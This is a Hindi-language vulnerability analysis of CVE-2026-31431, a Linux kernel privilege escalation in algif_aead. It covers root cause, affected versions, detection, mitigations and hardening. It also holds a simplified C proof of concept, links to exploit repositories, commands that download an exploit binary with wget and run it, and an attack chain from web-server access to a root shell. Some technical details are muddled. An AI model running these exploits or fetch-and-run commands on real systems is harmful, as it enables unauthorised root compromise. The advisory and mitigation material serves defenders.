
CVE-2026-31431 का तकनीकी विश्लेषण, जो algif_aead मॉड्यूल में Linux कर्नेल का एक स्थानीय विशेषाधिकार वृद्धि (local privilege escalation) है, जिसमें मूल कारण (root cause), प्रभावित संस्करण, शोषण प्रवाह (exploit flow), और शमन रणनीतियाँ (mitigation strategies) शामिल हैं।
वर्गीकरण: लोकल प्रिविलेज एस्केलेशन (LPE) — लिनक्स कर्नेल
CVSS: 7.8 (उच्च)
प्रभाव:अनप्रिविलेज्ड उपयोगकर्ता → root
प्रभावित मॉड्यूल:algif_aead(कर्नेल का AF_ALG सबसिस्टम)
लिनक्स कर्नेल यूज़र स्पेस को AF_ALG (AF_ALG फैमिली का सॉकेट) नामक एक क्रिप्टोग्राफी इंटरफ़ेस प्रदान करता है। यह इंटरफ़ेस अनप्रिविलेज्ड प्रोसेस को root की आवश्यकता के बिना कर्नेल के क्रिप्टोग्राफिक एक्सेलेरेटर — एन्क्रिप्शन, हैशिंग, कुंजी जनरेशन — का उपयोग करने की अनुमति देता है।
इसका एक मॉड्यूल algif_aead है, जो AEAD मोड (Authenticated Encryption with Associated Data) लागू करता है, जिसका उपयोग AES-GCM या ChaCha20-Poly1305 जैसे एल्गोरिदम द्वारा किया जाता है।
बग इस बात में है कि algif_aead sendmsg() + recvmsg() संचालन को कैसे संभालता है जब आउटपुट बफर अपेक्षा से छोटा होता है। कर्नेल आकार को सही ढंग से मान्य किए बिना एक कॉपी ऑपरेशन (copy_to_user) निष्पादित करता है, जिससे निम्न स्थिति उत्पन्न होती है:
Buffer overflow → कर्नेल मेमोरी में सीमा से बाहर लेखन
तकनीकी रूप से:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy आंशिक रूप से उपयोगकर्ता-नियंत्रित पते की ओर
यह write-out-of-bounds मेमोरी में आसन्न कर्नेल नियंत्रण संरचनाओं को अधिलेखित करने की अनुमति देता है — विशेष रूप से, फ़ंक्शन पॉइंटर या cred संरचनाएं — प्रिविलेज एस्केलेशन के लिए।
क्योंकि AF_ALG अनप्रिविलेज्ड उपयोगकर्ताओं के लिए उपलब्ध है। कोई भी प्रोसेस बिना पूर्व प्रमाणीकरण के AF_ALG सॉकेट खोल सकता है और डेटा भेज सकता है। शोषण को किसी सहायक भेद्यता की आवश्यकता नहीं होती है।
// यह सिस्टम का कोई भी उपयोगकर्ता कर सकता है
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| कर्नेल संस्करण | प्रभावित? |
|---|---|
| < 5.10 | नहीं (मॉड्यूल उस रूप में मौजूद नहीं था) |
| 5.10 — 6.1.x | हाँ ⚠️ |
| 6.2.x | हाँ ⚠️ (PoC का कर्नेल शामिल है) |
| 6.3+ पैच लागू के साथ | नहीं ✅ |
# कर्नेल संस्करण देखें
uname -r
# देखें कि असुरक्षित मॉड्यूल लोड है या नहीं
lsmod | grep algif_aead
# देखें कि AF_ALG उपलब्ध है या नहीं
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ यदि आप
lsmodमेंalgif_aeadदेखते हैं और आपका कर्नेल Ubuntu 23.04 पर6.2.xहै, तो आप उजागर हैं।
⚠️ नैतिक चेतावनी: यह अनुभाग पूर्णतः शैक्षिक है। बिना स्पष्ट प्राधिकरण के सिस्टम का शोषण अवैध और दंडनीय है। उदाहरण नियंत्रित प्रयोगशाला वातावरण के लिए हैं।
1. AF_ALG सॉकेट खोलें (algif_aead)
2. oversized बफर के साथ sendmsg() भेजें
3. छोटे बफर के साथ recvmsg() → बग ट्रिगर करें
4. कर्नेल heap में OOB लेखन
5. cred->uid/gid को 0 पर अधिलेखित करें
6. execve("/bin/sh") → root शेल
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// 16 बाइट की कुंजी कॉन्फ़िगर करें
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// बड़ा बफर → OOB लेखन ट्रिगर करें
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... ALG_OP_ENCRYPT के साथ cmsg का msghdr निर्माण
sendmsg(op_fd, &msg, 0);
// अपर्याप्त बफर के साथ recvmsg → कर्नेल सीमा से बाहर लिखता है
recv(op_fd, small_buf, sizeof(small_buf), 0);
// यदि शोषण सफल हुआ, अब हम root हैं
if (getuid() == 0) {
printf("[+] रूट प्राप्त हुआ!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
यह एक सरलीकृत योजना है। वास्तविक शोषण के लिए OOB लेखन को
task_struct->credसंरचना के साथ संरेखित करने हेतु अतिरिक्त heap shaping प्रिमिटिव की आवश्यकता होती है।
निम्नलिखित रिपॉजिटरी में प्रलेखित कार्यात्मक कार्यान्वयन शामिल हैं:
copy-fail-c — शुद्ध C में शोषण, संकलन की आवश्यकता है
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — स्टैंडअलोन ELF बाइनरी, संकलन की आवश्यकता नहीं
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# copy-fail-c क्लोन और संकलित करें
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# असुरक्षित सिस्टम पर अपेक्षित परिणाम:
# [*] algif_aead मॉड्यूल की जाँच...
# [*] heap स्प्रे तैयार...
# [+] OOB लेखन सफल
# [+] UID अब: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
बाहरी हमलावर
│
▼
वेब भेद्यता का शोषण (RCE) → www-data के रूप में पहुंच
│
▼
copyfail को सर्वर पर अपलोड करें (wget/curl)
│
▼
./copyfail निष्पादित करें
│
▼
सर्वर पर root शेल ✓
www-data पहुंच से root तक अनुमानित समय: < 30 सेकंड।
एकमात्र वास्तविक समाधान पैच लागू कर्नेल होना है।
# विकल्प 1: Ubuntu 24.04 LTS में अपग्रेड करें (अनुशंसित)
do-release-upgrade
# विकल्प 2: यदि आपके पास पहले से Ubuntu 22.04 LTS है
sudo apt update && sudo apt dist-upgrade
sudo reboot
# पैच किए गए कर्नेल की जांच करें
uname -r # Ubuntu 22.04 पर ≥ 5.15.0-107 होना चाहिए
यदि आप अभी अपडेट नहीं कर सकते, तो algif_aead को निष्क्रिय करें:
# मॉड्यूल की ब्लैकलिस्ट बनाएं
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# स्थायी बनाने के लिए initramfs पुनर्जनरेट करें
sudo update-initramfs -u
# रिबूट करें
sudo reboot
सत्यापित करें कि यह निष्क्रिय हो गया है:
lsmod | grep algif_aead
# कुछ भी दिखाई नहीं देना चाहिए
⚠️ यह उन सॉफ़्टवेयर को तोड़ सकता है जो AF_ALG के माध्यम से AEAD एन्क्रिप्शन का उपयोग करते हैं (मानक वेब सर्वरों में दुर्लभ)।
# अनप्रिविलेज्ड यूज़र नेमस्पेस अक्षम करें (Docker की कुछ सुविधाएं तोड़ता है)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# स्थायी बनाएं
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
एक AppArmor प्रोफ़ाइल बनाएं जो AF_ALG तक पहुंच अस्वीकार करे:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # विशिष्ट प्रोफ़ाइलों में अस्वीकार करें
वेब प्रोसेस के लिए (उदाहरण nginx/www-data):
# www-data या nginx के AppArmor प्रोफ़ाइल में जोड़ें
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
हालांकि यह एस्केलेशन को नहीं रोकता, यह प्रारंभिक हमले की सतह को कम करता है:
# सत्यापित करें कि www-data के पास sudo नहीं है
sudo grep www-data /etc/sudoers
# अनावश्यक SUID बाइनरी हटाएं
find / -perm -4000 2>/dev/null
# सुलभ निर्देशिकाओं को प्रतिबंधित करें
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431शैक्षणिक उद्देश्यों के लिए तैयार दस्तावेज़ — सिस्टम एडमिनिस्ट्रेटर इंजीनियर, 2026
| वितरण | विशिष्ट कर्नेल | पैच है? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — बिना पैच |
| Ubuntu 22.04 LTS | 5.15.x | ✅ पैच किया गया |
| Ubuntu 24.04 LTS | 6.8.x | ✅ प्रभावित नहीं |
| Debian 12 (Bookworm) | 6.1.x | ✅ पैच किया गया |
| Arch Linux (2026-03+) | 6.8.x | ✅ प्रभावित नहीं |
| शमन | प्रभावशीलता | सेवा पर प्रभाव | स्थायी |
|---|
| Ubuntu 24.04 में अपडेट करें | ✅ पूर्ण | न्यूनतम | हाँ |
algif_aead ब्लैकलिस्ट | ✅ उच्च | बहुत कम | हाँ |
unprivileged_userns_clone=0 | 🟡 आंशिक | मध्यम | हाँ |
| AppArmor AF_ALG अस्वीकार | ✅ उच्च | कम | हाँ |
| www-data का हार्डनिंग | 🟡 कम करता है | कोई नहीं | हाँ |